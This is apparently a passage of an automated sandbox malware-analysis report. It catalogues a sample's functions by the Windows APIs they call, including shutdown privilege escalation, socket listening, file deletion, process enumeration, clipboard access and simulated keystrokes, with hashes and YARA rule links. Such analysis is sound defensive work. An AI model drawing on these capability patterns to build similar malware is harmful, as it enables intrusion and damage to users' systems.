                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                      • String ID:
                                      • API String ID: 1737998785-0
                                      • Opcode ID: 9e10b9736aaa52a12c6925027650cd1ff9d8836dbcc71e518a09a3b4be128de8
                                      • Instruction ID: df0429fc71805aa25f1269ff1b78964dbb995c0c694dc8dcfd44afc9e4a7477a
                                      • Opcode Fuzzy Hash: 9e10b9736aaa52a12c6925027650cd1ff9d8836dbcc71e518a09a3b4be128de8
                                      • Instruction Fuzzy Hash: BC41CF79219621AFD720CF15E888F197BE4FF45318F15C499E82A8B7A2C775EC42CB90
                                      Function 0091E814 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 00911607: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00911651
                                        • Part of subcall function 00911607: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0091167E
                                        • Part of subcall function 00911607: GetLastError.KERNEL32 ref: 0091168E
                                      • ExitWindowsEx.USER32(?,00000000), ref: 0091E850
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
                                      • String ID: $ $@$SeShutdownPrivilege
                                      • API String ID: 2234035333-3163812486
                                      • Opcode ID: 240a50be5a2e4b4951e4a3b1168dbe5a8492af827479f13d89c2bc0614745d9a
                                      • Instruction ID: de1734ef16295a349a4a6cec36a30a93daeba6f0829038fd0b0520c79e81dc99
                                      • Opcode Fuzzy Hash: 240a50be5a2e4b4951e4a3b1168dbe5a8492af827479f13d89c2bc0614745d9a
                                      • Instruction Fuzzy Hash: 9001D676B6522C6FFB1462B4AC8AFFF725CDB44381F144961FD02E20D1C5659C8091A0
                                      Function 0093112B Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON
                                      Download Yara Rule
                                      APIs
                                      • socket.WS2_32(00000002,00000001,00000006), ref: 0093119D
                                      • WSAGetLastError.WS2_32 ref: 009311AA
                                      • bind.WS2_32(00000000,?,00000010), ref: 009311E1
                                      • WSAGetLastError.WS2_32 ref: 009311EC
                                      • closesocket.WS2_32(00000000), ref: 0093121B
                                      • listen.WS2_32(00000000,00000005), ref: 0093122A
                                      • WSAGetLastError.WS2_32 ref: 00931234
                                      • closesocket.WS2_32(00000000), ref: 00931263
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ErrorLast$closesocket$bindlistensocket
                                      • String ID:
                                      • API String ID: 540024437-0
                                      • Opcode ID: 4eb8531e16118a25abc36faccdca8d96ffa561ac68c117bf05b5c0b21e5ee684
                                      • Instruction ID: 2199cb09338a5e0c9d201004018cf692e2bccc37cd9dae672d228f209313ab76
                                      • Opcode Fuzzy Hash: 4eb8531e16118a25abc36faccdca8d96ffa561ac68c117bf05b5c0b21e5ee684
                                      • Instruction Fuzzy Hash: 12417F75A041009FD710DF68C488B6ABBE6BF46318F188198E8569F3A6C771EC81CFE1
                                      Function 0091D2C7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008B592D: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,008B5922,?,?,008B48AA,?,?,?,00000000), ref: 008B594D
                                        • Part of subcall function 0091E0B7: GetFileAttributesW.KERNEL32(?,0091CEB3), ref: 0091E0B8
                                      • FindFirstFileW.KERNEL32(?,?), ref: 0091D33E
                                      • DeleteFileW.KERNEL32(?,?,?,?), ref: 0091D38E
                                      • FindNextFileW.KERNEL32(00000000,00000010), ref: 0091D39F
                                      • FindClose.KERNEL32(00000000), ref: 0091D3B6
                                      • FindClose.KERNEL32(00000000), ref: 0091D3BF
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
                                      • String ID: \*.*
                                      • API String ID: 2649000838-1173974218
                                      • Opcode ID: 7d04a1082de4ff3d2fcd2fc54bec770e061975b03511f19d2c90763c7af3ea35
                                      • Instruction ID: 0baf06ad4c100cbb3e050c630ddef70a46884acb5e1bc073685cbc87b4e58a4e
                                      • Opcode Fuzzy Hash: 7d04a1082de4ff3d2fcd2fc54bec770e061975b03511f19d2c90763c7af3ea35
                                      • Instruction Fuzzy Hash: 9531607100A3459FC300EF68D8559EFB7E8BE95304F444A1EF8E592291EB60DA09CB63
                                      Function 008EE4A0 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: __floor_pentium4
                                      • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                      • API String ID: 4168288129-2761157908
                                      • Opcode ID: b822ec3b7fd02561b840f5755e6a39052e64634d90d571e2029c464b46cc4285
                                      • Instruction ID: 400c4cf54ef4a7f2072788f9c81ae3cf198473c7c682c12e00912e19d336fc90
                                      • Opcode Fuzzy Hash: b822ec3b7fd02561b840f5755e6a39052e64634d90d571e2029c464b46cc4285
                                      • Instruction Fuzzy Hash: 77C26872E086688FDB24CE29DD407EAB7B5FB86304F1541EAD94DE7241E774AE818F40
                                      Function 009263AC Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON
                                      Download Yara Rule
                                      APIs
                                      • _wcslen.LIBCMT ref: 009263FA
                                      • CoInitialize.OLE32(00000000), ref: 00926557
                                      • CoCreateInstance.COMBASE(0094FD14,00000000,00000001,0094FB84,?), ref: 0092656E
                                      • CoUninitialize.COMBASE ref: 009267F2
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CreateInitializeInstanceUninitialize_wcslen
                                      • String ID: .lnk
                                      • API String ID: 886957087-24824748
                                      • Opcode ID: d3a2308049a4c84e8761e4ecb2f302531147e636f36387c7755d5d70e0bbef13
                                      • Instruction ID: c45150e43dd784353c2b244b4894e10c14bf12f476ed3ea732bbfb4e5cdef19a
                                      • Opcode Fuzzy Hash: d3a2308049a4c84e8761e4ecb2f302531147e636f36387c7755d5d70e0bbef13
                                      • Instruction Fuzzy Hash: A0D12671608211AFC314EF28C881DABB7E8FF99704F50496DF5968B2A1DB70E905CB92
                                      Function 00929A49 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008BB606: _wcslen.LIBCMT ref: 008BB610
                                      • FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00929A96
                                      • FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00929BA9
                                        • Part of subcall function 00923792: GetInputState.USER32 ref: 009237E9
                                        • Part of subcall function 00923792: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00923884
                                      • Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00929AC6
                                      • FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00929B93
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
                                      • String ID: *.*
                                      • API String ID: 1972594611-438819550
                                      • Opcode ID: faa31cbd330f4eccd71852a844118f104f66a84fa6acf9eb3e2fd11441c464a3
                                      • Instruction ID: 98acedf1c0289b58326b4e7fe37b4206b873a39e529c1a9653e8a9bf80e3d3b1
                                      • Opcode Fuzzy Hash: faa31cbd330f4eccd71852a844118f104f66a84fa6acf9eb3e2fd11441c464a3
                                      • Instruction Fuzzy Hash: 124183759052199FCF14DFA8EC49AEEBBB8FF49310F244056E805A3291D7719E44CF51
                                      Function 008CADFD Relevance: 7.9, APIs: 5, Instructions: 375nativeCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008CB021: GetWindowLongW.USER32(?,000000EB), ref: 008CB032
                                      • NtdllDialogWndProc_W.NTDLL(?,?,?,?,?), ref: 008CAECE
                                      • GetSysColor.USER32(0000000F), ref: 008CAFA3
                                      • SetBkColor.GDI32(?,00000000), ref: 008CAFB6
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Color$DialogLongNtdllProc_Window
                                      • String ID:
                                      • API String ID: 1958858920-0
                                      • Opcode ID: 53d9edf118e1f80eb7cce898d84ad55c264289092b1cef0e0ef770c28d23507d
                                      • Instruction ID: 4908dfb962b735f6ad3ce7ddf7460373f0fd951ed15f5aa79d800ccd86966ee2
                                      • Opcode Fuzzy Hash: 53d9edf118e1f80eb7cce898d84ad55c264289092b1cef0e0ef770c28d23507d
                                      • Instruction Fuzzy Hash: D1A1E6B021951CBEE62CAA289C89FBB267DFB8234CF15050DF542D62D1CE36DD429273
                                      Function 0093172D Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 00932F75: inet_addr.WS2_32(?), ref: 00932FA1
                                        • Part of subcall function 00932F75: _wcslen.LIBCMT ref: 00932FC2
                                      • socket.WS2_32(00000002,00000002,00000011), ref: 00931784
                                      • WSAGetLastError.WS2_32 ref: 009317AB
                                      • bind.WS2_32(00000000,?,00000010), ref: 00931802
                                      • WSAGetLastError.WS2_32 ref: 0093180D
                                      • closesocket.WS2_32(00000000), ref: 0093183C
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
                                      • String ID:
                                      • API String ID: 1601658205-0
                                      • Opcode ID: f02eca7b836da1e938d635b25af74475ba556e55892e3cc4c71c091ceb70bd21
                                      • Instruction ID: dbcf1f32e0f65e9c2095b0668eb633bd42a67e04f098dc31d8a55d268c95643b
                                      • Opcode Fuzzy Hash: f02eca7b836da1e938d635b25af74475ba556e55892e3cc4c71c091ceb70bd21
                                      • Instruction Fuzzy Hash: 98519275A00210AFDB10AF68C886F6A77E9EB45754F18845CF9069F3D3CA71ED41CBA2
                                      Function 00941B74 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                      • String ID:
                                      • API String ID: 292994002-0
                                      • Opcode ID: c1f65b280fa1601e119937ae726ac3dc1c1a8918f9828d49504469fef95eec73
                                      • Instruction ID: 13eee69fb72ee375b4b4f6989e185f9585470da106f3e9aea5d083ed1ad2021e
                                      • Opcode Fuzzy Hash: c1f65b280fa1601e119937ae726ac3dc1c1a8918f9828d49504469fef95eec73
                                      • Instruction Fuzzy Hash: 8221D1317452109FE7248F2AC894F5A7BA9FF85315F198468E88A8B252D775EC81CB90
                                      Function 008B99D0 Relevance: 7.4, Strings: 5, Instructions: 1152COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID: ERCP$VUUU$VUUU$VUUU$VUUU
                                      • API String ID: 0-1546025612
                                      • Opcode ID: d6b11870658f507269ac36b370e6c68e56a5bf90145a0c6ab6da7dadb5d7be65
                                      • Instruction ID: 4b6bbae2eba0a70535c5c010a2667a01d70b39123a143cf9ed1aa49f770a8565
                                      • Opcode Fuzzy Hash: d6b11870658f507269ac36b370e6c68e56a5bf90145a0c6ab6da7dadb5d7be65
                                      • Instruction Fuzzy Hash: 8BA24671A0021E8BDF24CF68C9807FDB7B1FB54314F2482AAEA55E7380E7719D918B91
                                      Function 0093A5A3 Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateToolhelp32Snapshot.KERNEL32 ref: 0093A5D3
                                      • Process32FirstW.KERNEL32(00000000,?), ref: 0093A5E1
                                        • Part of subcall function 008BB606: _wcslen.LIBCMT ref: 008BB610
                                      • Process32NextW.KERNEL32(00000000,?), ref: 0093A6C3
                                      • CloseHandle.KERNEL32(00000000), ref: 0093A6D2
                                        • Part of subcall function 008CD5DC: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,008F4062,?), ref: 008CD606
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
                                      • String ID:
                                      • API String ID: 1991900642-0
                                      • Opcode ID: 86615290763759079cecfd584af58b99dda1b56a690106cc8277e1f2a8353a8e
                                      • Instruction ID: e847cedde21aa8ff3b9b94f5c28a1666e55d17715ea94fe7a468b0a52f852e6a
                                      • Opcode Fuzzy Hash: 86615290763759079cecfd584af58b99dda1b56a690106cc8277e1f2a8353a8e
                                      • Instruction Fuzzy Hash: 615109715083009FD710EF29C886A5BBBE8FF89754F40492DF985D7262EB70E904CB92
                                      Function 0091A975 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 0091A9CA
                                      • SetKeyboardState.USER32(00000080), ref: 0091A9E6
                                      • PostMessageW.USER32(?,00000102,00000001,00000001), ref: 0091AA54
                                      • SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 0091AAA6
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: KeyboardState$InputMessagePostSend
                                      • String ID:
                                      • API String ID: 432972143-0
                                      • Opcode ID: c2d6956c510bfb328ead72ec118fc83b5c427e2ad7e60c2853766e2b92aec5fd
                                      • Instruction ID: dffec0a72ebf03c9cfc9d8ec7db4b87e0a8e8b9ca6ba6c6838e3f6117f4a4af6
                                      • Opcode Fuzzy Hash: c2d6956c510bfb328ead72ec118fc83b5c427e2ad7e60c2853766e2b92aec5fd
                                      • Instruction Fuzzy Hash: CA311270B4624CAEFF31CA648D05BFE7BAEAF85310F04461AE481921D1D3798EC5D7A6
                                      Function 008EBB0F Relevance: 6.1, APIs: 4, Instructions: 90timeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • _free.LIBCMT ref: 008EBB1F
                                        • Part of subcall function 008E2958: RtlFreeHeap.NTDLL(00000000,00000000,?,008ED771,00000000,00000000,00000000,00000000,?,008ED798,00000000,00000007,00000000,?,008EDB95,00000000), ref: 008E296E
                                        • Part of subcall function 008E2958: GetLastError.KERNEL32(00000000,?,008ED771,00000000,00000000,00000000,00000000,?,008ED798,00000000,00000007,00000000,?,008EDB95,00000000,00000000), ref: 008E2980
                                      • GetTimeZoneInformation.KERNEL32 ref: 008EBB31
                                      • WideCharToMultiByte.KERNEL32(00000000,?,0098121C,000000FF,?,0000003F,?,?), ref: 008EBBA9
                                      • WideCharToMultiByte.KERNEL32(00000000,?,00981270,000000FF,?,0000003F,?,?,?,0098121C,000000FF,?,0000003F,?,?), ref: 008EBBD6
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone_free
                                      • String ID:
                                      • API String ID: 806657224-0
                                      • Opcode ID: fbb68b44d99f431b6058d0055a38657367c9e7beef7e569098541dd558f62661
                                      • Instruction ID: 07abbcb78525ab4b3d7d23a2298532f541db79cb5547495a75ac1d1ea13a887d
                                      • Opcode Fuzzy Hash: fbb68b44d99f431b6058d0055a38657367c9e7beef7e569098541dd558f62661
                                      • Instruction Fuzzy Hash: 1431A170908289DFCB11DF6ADC8196ABBB8FF8776071446AAE060D73B5D7309D42DB90
                                      Function 00948EBB Relevance: 6.1, APIs: 4, Instructions: 78nativewindowCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008CB021: GetWindowLongW.USER32(?,000000EB), ref: 008CB032
                                      • GetCursorPos.USER32(?), ref: 00948EF3
                                      • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,009080CE,?,?,?,?,?), ref: 00948F08
                                      • GetCursorPos.USER32(?), ref: 00948F50
                                      • NtdllDialogWndProc_W.NTDLL(?,0000007B,?,?,?,?,?,?,?,?,?,?,009080CE,?,?,?), ref: 00948F86
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
